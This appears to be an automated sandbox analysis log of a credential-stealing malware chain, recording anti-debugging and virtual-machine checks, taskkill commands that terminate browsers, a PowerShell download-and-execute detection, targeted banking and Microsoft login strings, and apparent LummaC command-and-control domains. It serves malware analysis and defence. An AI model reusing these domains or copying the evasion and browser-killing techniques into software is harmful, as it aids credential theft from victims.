Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe	Special instruction interceptor: First address: 99DBB8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe	Special instruction interceptor: First address: 99DB0F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe	Special instruction interceptor: First address: B51432 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 9C98A3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe	Special instruction interceptor: First address: BD0CE0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Special instruction interceptor: First address: 503DA5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Special instruction interceptor: First address: 72272B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Special instruction interceptor: First address: 9A1B5F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Special instruction interceptor: First address: 99F4E6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Special instruction interceptor: First address: B6B54A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Special instruction interceptor: First address: BCDD29 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe	Memory allocated: 49A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe	Memory allocated: 4B80000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe	Memory allocated: 6B80000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe

Code function: 3_2_04D80D56 rdtsc

3_2_04D80D56

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1792	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1524	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1457	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Window / User API: threadDelayed 477
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Window / User API: threadDelayed 712

Source: C:\Users\user\Desktop\file.exe TID: 5448	Thread sleep time: -270000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2528	Thread sleep count: 48 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2528	Thread sleep time: -96048s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2632	Thread sleep count: 52 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2632	Thread sleep time: -104052s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5588	Thread sleep count: 343 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5588	Thread sleep time: -10290000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5224	Thread sleep count: 1792 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5224	Thread sleep time: -3585792s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3908	Thread sleep count: 57 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3908	Thread sleep time: -114057s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5980	Thread sleep count: 1524 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5980	Thread sleep time: -3049524s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4896	Thread sleep count: 1457 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4896	Thread sleep time: -2915457s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1672	Thread sleep time: -360000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe TID: 4140	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe TID: 1540	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe TID: 5904	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe TID: 7036	Thread sleep time: -30000s >= -30000s

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: file.exe, 00000000.00000003.2199963205.000000000542D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: 0KH83O2UU7K66U0BZXMNJ98MCWGN.exe, 0KH83O2UU7K66U0BZXMNJ98MCWGN.exe, 00000003.00000002.2391461574.00000000005D4000.00000040.00000001.01000000.00000006.sdmp, 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe, 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe, 00000004.00000002.2449006070.0000000000FB3000.00000040.00000001.01000000.00000008.sdmp, A77BGJTTW6SX9ESX.exe, 00000006.00000002.2555426846.0000000000B22000.00000040.00000001.01000000.0000000B.sdmp, dbec6bb1cf.exe, dbec6bb1cf.exe, 00000009.00000002.2533713122.000000000067E000.00000040.00000001.01000000.0000000F.sdmp, de379087e7.exe, 0000000A.00000002.2602343800.0000000000B23000.00000040.00000001.01000000.00000010.sdmp, dbec6bb1cf.exe, 0000000B.00000002.2665372701.000000000067E000.00000040.00000001.01000000.0000000F.sdmp, skotes.exe, 0000000C.00000002.2674283092.0000000000924000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000003.2199963205.000000000542D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: file.exe, 00000000.00000003.2199963205.000000000542D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: file.exe, 00000000.00000003.2199963205.000000000542D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: firefox.exe, 0000001A.00000002.2802302794.0000014D46A06000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: file.exe, 00000000.00000003.2199963205.000000000542D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: file.exe, 00000000.00000003.2199963205.000000000542D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: file.exe, 00000000.00000003.2199963205.000000000542D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe, 00000004.00000002.2448396958.0000000000967000.00000004.00000020.00020000.00000000.sdmp, 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe, 00000004.00000002.2448396958.0000000000938000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000002.2535164435.0000000000FEE000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 00000009.00000002.2535164435.0000000001076000.00000004.00000020.00020000.00000000.sdmp, de379087e7.exe, 0000000A.00000002.2603348897.00000000014A8000.00000004.00000020.00020000.00000000.sdmp, de379087e7.exe, 0000000A.00000002.2603348897.0000000001476000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000003.2656145755.00000000011D1000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011D1000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000002.2667416016.000000000115B000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2802302794.0000014D469D0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: firefox.exe, 0000001A.00000002.2804563025.0000014D506AF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
Source: file.exe, 00000000.00000003.2199963205.000000000542D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: file.exe, 00000000.00000003.2199963205.000000000542D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: file.exe, 00000000.00000003.2199963205.000000000542D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: file.exe, 00000000.00000003.2199963205.000000000542D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: file.exe, 00000000.00000003.2199836309.000000000543A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696487552p
Source: firefox.exe, 0000001A.00000002.2802302794.0000014D46A06000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlll
Source: firefox.exe, 0000001A.00000002.2802302794.0000014D469D0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000003.2199963205.000000000542D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: file.exe, 00000000.00000003.2199963205.000000000542D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: file.exe, 00000000.00000003.2199963205.000000000542D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: file.exe, 00000000.00000003.2199963205.000000000542D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: file.exe, 00000000.00000003.2199963205.000000000542D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: file.exe, 00000000.00000003.2199963205.000000000542D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe, 00000004.00000002.2448396958.00000000008EE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware;9[J
Source: file.exe, 00000000.00000003.2199963205.000000000542D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: file.exe, 00000000.00000003.2199963205.000000000542D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: file.exe, 00000000.00000003.2199963205.000000000542D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: file.exe, 00000000.00000003.2199963205.000000000542D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: file.exe, 00000000.00000003.2199963205.000000000542D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: file.exe, 00000000.00000003.2199963205.000000000542D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: de379087e7.exe, 0000000A.00000002.2603348897.000000000142E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000003.2199963205.000000000542D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: file.exe, 00000000.00000003.2199963205.000000000542D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: file.exe, 00000000.00000003.2199963205.000000000542D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: file.exe, 00000000.00000003.2199963205.000000000542D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: file.exe, 00000000.00000003.2199963205.000000000542D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: file.exe, 00000000.00000003.2199963205.000000000542D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: dbec6bb1cf.exe, 0000000B.00000003.2656145755.00000000011D1000.00000004.00000020.00020000.00000000.sdmp, dbec6bb1cf.exe, 0000000B.00000002.2667896766.00000000011D1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWL
Source: 0KH83O2UU7K66U0BZXMNJ98MCWGN.exe, 00000003.00000002.2391461574.00000000005D4000.00000040.00000001.01000000.00000006.sdmp, 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe, 00000004.00000002.2449006070.0000000000FB3000.00000040.00000001.01000000.00000008.sdmp, A77BGJTTW6SX9ESX.exe, 00000006.00000002.2555426846.0000000000B22000.00000040.00000001.01000000.0000000B.sdmp, dbec6bb1cf.exe, 00000009.00000002.2533713122.000000000067E000.00000040.00000001.01000000.0000000F.sdmp, de379087e7.exe, 0000000A.00000002.2602343800.0000000000B23000.00000040.00000001.01000000.00000010.sdmp, dbec6bb1cf.exe, 0000000B.00000002.2665372701.000000000067E000.00000040.00000001.01000000.0000000F.sdmp, skotes.exe, 0000000C.00000002.2674283092.0000000000924000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000003.2199963205.000000000542D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: file.exe, 00000000.00000003.2199963205.000000000542D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe

Code function: 6_2_00B60EC1 Start: 00B60EC9 End: 00B60ECD

6_2_00B60EC1

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe	Process queried: DebugPort

Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe

Code function: 3_2_04D80D56 rdtsc

3_2_04D80D56

Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe

Code function: 6_2_0099B7AE LdrInitializeThunk,

6_2_0099B7AE

Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe PID: 1208, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: de379087e7.exe PID: 4016, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe, type: DROPPED

Excessive usage of taskkill to terminate processes

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T

LummaC encrypted strings found

Source: file.exe, 00000000.00000003.2141220939.00000000047C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: clearancek.site
Source: file.exe, 00000000.00000003.2141220939.00000000047C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: licendfilteo.site
Source: file.exe, 00000000.00000003.2141220939.00000000047C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: spirittunek.store
Source: file.exe, 00000000.00000003.2141220939.00000000047C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: bathdoomgaz.store
Source: file.exe, 00000000.00000003.2141220939.00000000047C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: studennotediw.store
Source: file.exe, 00000000.00000003.2141220939.00000000047C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: dissapoiznw.store
Source: file.exe, 00000000.00000003.2141220939.00000000047C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: eaglepawnoy.store
Source: file.exe, 00000000.00000003.2141220939.00000000047C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: mobbipenju.store

